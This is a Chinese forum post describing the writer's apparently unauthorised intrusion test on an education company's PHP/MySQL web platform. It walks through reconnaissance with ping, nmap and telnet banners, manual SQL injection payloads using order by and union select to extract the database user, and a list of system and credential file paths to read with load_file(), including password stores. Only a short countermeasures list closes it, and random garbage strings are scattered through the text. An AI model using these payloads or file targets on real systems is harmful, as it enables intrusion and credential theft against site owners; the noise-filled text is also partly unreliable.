找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2085|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
题记:7 W. J# i: G4 Q6 v
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……1 T# x$ K; P! e# `* B3 Z$ C
第一步:获取需要的信息2 h: e4 t, B& e8 I1 q, \$ q4 t
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
8 \9 G2 x! g. y  j3 M' g注:以下为保护特用XXX代替敏感信息
( A# X& P5 a0 o( b顺手先PING了一下他们的域名:
0 s/ z- x% E# J7 i" e; @9 |ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
' A, u: u0 E/ B% H. P4 n2 p64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
; O. w6 K. g! s! ^9 M顺便了解一下TTL,学好基础知识才能一路顺风:5 M/ t9 q# x* b5 j1 `) n+ i) ?
TTL:(Time To Live ) 生存时间" B4 Q, V6 e7 w" [9 l
指定数据包被路由器丢弃之前允许通过的网段数量。# ^9 E, i0 R. f" m& y3 w, o
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。8 m$ Y/ R- x4 l4 d( K8 P
使用PING时涉及到的 ICMP 报文类型$ f, o- H7 C1 R2 l4 `
一个为ICMP请求回显(ICMP Echo Request)# I% R& w# F! C* V: n+ e
一个为ICMP回显应答(ICMP Echo Reply)7 R1 B! s0 a3 N4 ~# S: J
TTL 字段值可以帮助我们识别操作系统类型。$ b6 i4 V( L- g# e& E
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2555 t9 M0 B2 {* d
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
$ ^8 R1 I- @6 Q" U! `- n$ t微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
- M! U! g! S" P$ h$ x4 f8 Q' G微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 322 h5 D$ @; c- U) @) c
当然,返回的TTL值是相同的; o1 k8 b* O) C; i: d1 u# x3 q  v
但有些情况下有所特殊1 ]8 h4 M: A+ @) H$ ~) p& b% b" t
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
) E  t/ \; G- p& x# `FreeBSD 4.1, 4.0, 3.4;
1 {3 p, \" G' I7 g  h, tSun Solaris 2.5.1, 2.6, 2.7, 2.8;2 z& r2 @; {4 f' T* \
OpenBSD 2.6, 2.7,
- E$ m1 i5 J  T9 \  r- d1 PNetBSD$ S$ O' U1 e6 B3 _
HP UX 10.20
8 h" H( ^7 x; EICMP 回显应答的 TTL 字段值为 255
# j. X' F% J0 j$ HWindows 95/98/98SE( v- B# ]3 R/ A! ~
Windows ME
$ ^- s5 C. U: o, ^! q- LICMP 回显应答的 TTL 字段值为 32
+ R( e; J1 M# P' ^& ?$ f" bWindows NT4 WRKS
- M; k( ]4 z+ Y$ a. Q' w; ]Windows NT4 Server
$ S6 V6 ?$ R3 Y/ [: tWindows 2000$ J: _- D* u9 F1 s! N1 B$ m3 s
Windows XP
( w) s# H) Y% Z  `ICMP 回显应答的 TTL 字段值为 128( U( U5 G1 j. _4 v0 ^- ]
这样,我们就可以通过这种方法来辨别操作系统/ d! x. Z+ \' \! L: {
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
8 p& G0 b, a( Z, s/ g6 |3 V用NMAP扫描一下:/ F5 V( h/ L8 Y7 W& O& m
nmap -sT -O XXX.XXX.XXX.XXX
" q& c, P/ m3 T% d5 Q* _如果没有装WinPcap则会弹出提示:
, p: m: |7 j0 nWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
3 P9 n8 |$ P! e6 _- [; a& Hade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(& t8 \6 R. j1 w1 Z6 {4 B3 F5 D
) mode — Nmap may not function completely3 ~& v# b, p' b4 ^9 O, n
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
! k) m6 [6 ]. i9 H* `and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
8 _6 q# |2 _% Y- Z2 Rpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an4 u' s! X, l5 ]& c
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v. _8 H9 g* Q) k, ]/ r3 I$ w3 v
ersions, you may be able to take iphlpapi.dll from another system and place it i1 M! e4 C! Y. p1 M
n your system32 dir (e.g. c:\windows\system32).
% e2 P/ |' R) q) T1 \9 E; qQUITTING!# N) E$ W4 A- n' Q7 b9 W; K; o, C
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe+ \5 K4 ~7 k* T, {; N% k0 F
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
- W6 q% A; `/ R7 A7 tInteresting ports on XXX.XXX.XXX.XXX:
6 f% Y8 J: O! T  c4 Y9 VNot shown: 986 closed ports5 O  Q1 v( Q+ E7 R8 p! R
PORT     STATE    SERVICE
: k7 r# }' V5 a9 e# q1 A21/tcp   open     ftp$ r2 z9 V9 X4 r* O. v. i7 u% B
22/tcp   open     ssh
9 ?& f* N# S5 }' {! F: M. W23/tcp   open     telnet
8 M# o+ X  [$ w' ?, F* s) |80/tcp   open     http
5 I$ V, I( }+ Z% F# [. j111/tcp  open     rpcbind$ b! @2 ]& _, }& J7 U' _
135/tcp  filtered msrpc
4 ]7 n$ Q" B: }6 \3 e% M3 l1 E139/tcp  filtered netbios-ssn
$ {: }1 H* j4 r& V' D445/tcp  filtered microsoft-ds* E/ n# ^3 E; v( V) j, s
513/tcp  open     login) }/ ^& u  w4 l$ c- X# w5 H
514/tcp  open     shell
3 A4 Z# D% x9 D8 a- ?4 O' j: Z593/tcp  filtered http-rpc-epmap
! D* I# k) N2 m8 }6 K) s1720/tcp filtered H.323/Q.931: E% G9 |9 J/ a. D) n6 q2 F
3306/tcp open     mysql
' T; }$ Q* C& C: C7 M4444/tcp filtered krb524' a1 v5 p1 y$ V2 Y2 ]+ @
Device type: WAP
, D2 y, k% c: |' {6 c/ fRunning: Linux 2.4.X
! a. s) z; J4 n8 O1 ]OS details: DD-WRT (Linux 2.4.35s): r# |6 f' V* M
Network Distance: 13 hops. v) Y# `7 ]8 q0 o
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:5 Z- Q) U7 f9 E# q
login as:
# q& ~% U' D% H+ I# a8 r- \' M* g1 VTelnet23端口也是开着的,用telnet 命令链接一下:/ V8 R9 s/ U' g2 U: e
telnet XXX.XXX.XXX.XXX
$ q- W0 F0 W, _# {2 Q1 ~  R2 o提示:
. ^: p8 ]$ K" G+ R. o) e& w$ pRed Hat Enterprise Linux Server release 5.2 (Tikanga)/ T7 s' ^( P! I3 U
Kernel 2.6.18-92.el5PAE on an i686  ^) D. e2 o2 @+ G2 y
login:
6 i4 L5 _' r2 r2 s; `获取HTTP头信息:
- q9 R6 _0 O3 G' y& J4 i+ u' D- x在本地执行如下PHP代码
$ L" z' E+ m1 t6 U) E$ d! G<?php" ]* N6 x0 j% Q, x8 T8 |0 @. x
$url = ‘XXX.XXX.XXX.XXX’;
9 E- J- g* T  m. J4 A+ e! jprint_r(get_headers($url));( r* B! X6 E3 g. |) F% Z4 F: b
print_r(get_headers($url, 1));! Z; M- E; V9 _2 r$ V, i4 g) C1 S
?>
7 H8 q2 w! E: V. r将以上代码保存为PHP文件,执行:3 A1 O0 ~8 D" m- j
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )# M" H7 T5 s' N( O! L) L
现在可以得出结论:3 E3 P/ S; J1 L) C7 w8 q$ @, p
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
. R+ E2 _7 O( v- ?+ z6 a( c内核版本:Kernel 2.6.18-92.el5PAE on an i686+ k! f7 d! B, Y! y* H' i' ^( D7 A
WEB服务器版本:nginx/0.7.61. G' l. @1 n- I+ ~! Y+ e8 q
第二步,开始测试寻找漏洞
2 y, |; F& ^: j, f分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。5 E5 j- A, w5 ?9 r
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的' q$ @4 |5 E+ L0 s+ o4 O
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
' `7 A- j4 }% d% o6 ?! T- B2 Lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
7 ?  A* a/ w. U' i" o0 l5 J% D) k. Fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
$ @4 c# A6 v% e* T恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续9 B: X# n3 T/ S% R
3、手工注入:( Q- y- ^3 S2 d* V+ a* G5 `/ g
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。6 K4 e; e' r1 F1 E% g4 e
3.1 猜测当前表字段数. E" K' r: ~( z4 _) \
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
. }- @  v, |; t& S. M0 S此处猜测有个简单的算法,都是有技巧的吗,呵呵" v- ?. b. p# |" a( L8 E- e& ~
算法简单如下:
8 ]  C0 ?$ [4 w7 t5 T; I; q7 R! i第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;7 R9 b& r5 E0 e
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;" c/ ~5 o5 k8 K2 d
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。  V* j4 G1 j* W3 _/ a, a9 U4 f
以此来判断,是否过界,配合取中算法猜出字段数。
4 Q4 U; x, A5 x4 f举例:
' y1 p4 p- P; U$ yhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
0 l' `8 r$ ]9 o# w2 }0 yhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误& v! S. N( e" u3 Q( v- t
此时3则为我们要找的字段数。/ B0 g4 u; g5 U7 T
3.2 配合union联合查询字段在页面所位置% h4 V& q6 R* l7 ^5 Y) t+ o# @  }  c0 D
我们已经知道了字段数为3,此时则可以做如下操作:
2 O2 \8 |: l' I3 B: n/ mhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
) v( r2 A$ k+ q* }: A4 `( L9 l3 _5 @& q3 r
这样就可以测试到哪些字段在页面上有所显示了,如图:
  q9 f1 H( B. ?$ V5 Y4 Q# j- z) k  b. K- ~- P0 y! O5 ?
3.3 查敏感信息* O5 s/ F3 b% s  g; |" R* L$ k9 r
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
0 t5 f$ W7 w/ s' p- O: Z  Khttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()8 B* V5 K" p& X7 M8 S& |
3.3.1 先查数据库用户、数据库名,以备后用,如图:
. K9 c5 [6 Z! s! K7 y* c
* F0 p0 d+ Z: _% J+ a7 c) O( t' X得到数据库用户为root、数据库名为DBxx;
* Q; x+ ], Z' Y4 J$ j3.3.2 查配置文件8 n4 I1 l& a! |! q  `- U' G2 Q
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
. h. i) p6 k1 a! |查看文件有一定的条件限制:' P0 H9 Z( \% w! Y$ L) j( D
欲读取文件必须在服务器上
2 w  f  C! |( [必须指定文件完整的路径, d' F# h5 g( X. }; l
必须有权限读取并且文件必须完全可读% x' w& O1 X2 ~2 g8 I7 G. ]
欲读取文件必须小于 max_allowed_packet: d4 a' i4 d: P  u2 R& S; g5 {8 q( {+ q
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。7 K/ z+ m" ]" U4 _% s% m; ?
常用的一些:
' c- P7 r& |; T, Z3 K/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
& I1 b0 ~% c( X+ Z4 M) b) E4 N/ t/usr/local/apache2/conf/httpd.conf
2 c& z6 e% x# B- R1 r% M+ ^2 F/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置+ J& g1 b  _( g4 i, a3 Q5 D- f
/usr/local/app/php5/lib/php.ini //PHP相关设置3 c# E1 ?. ]" |: `7 S- P5 L# a# x
/etc/sysconfig/iptables //从中得到防火墙规则策略: R& n8 h5 ]8 J* L  G$ G* M
/etc/httpd/conf/httpd.conf // apache配置文件! f; J& q( i. u
/etc/rsyncd.conf //同步程序配置文件
+ I: V* f8 g- N/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
. N1 M$ U& R+ F7 K/etc/my.cnf //mysql的配置文件
" z: H, ]$ \: K8 {) p4 d1 |( T/etc/redhat-release //系统版本7 i$ I0 u: @; x: a4 h8 t) k
/etc/issue
  j, Y7 e5 l$ y4 i1 s7 s/etc/issue.net( d( a+ m  A. L+ n* T/ J
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
6 m, j3 C: |5 Z$ Uc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码5 f; ^; x- p2 k
c:\Program Files\Serv-U\ServUDaemon.ini4 ~; @* \  \+ B4 W2 ~" J+ N
c:\windows\my.ini //MYSQL配置文件- I/ V9 l, E0 I* Z5 @
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
2 l& d/ J4 l( f& j6 @  N等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
$ k+ Q8 n' K3 W, v9 |; lc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码4 l8 z7 U$ Q/ ]
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
7 p( ^- ?4 {$ R" X1 d- xc:\Program Files\RhinoSoft.com\ServUDaemon.exe# [! e6 k. s- r4 M9 C8 t+ ?
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
0 z& [* ^& y$ g+ _- B4 G' X//存储了pcAnywhere的登陆密码2 `& [9 W8 n0 ]; G3 F
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。3 w2 _7 K! h- e: W; _: A5 z& v
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
0 d5 E: Z. k* e, o& t( y' K. k最后:防范措施
, `$ \( p# k5 }5 N1、修复PHP注入漏洞;/ D* T# ~- N1 Y- L0 C* Z
2、Mysql使用普通权限的用户;. k6 ]- U8 s: B8 p; L
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表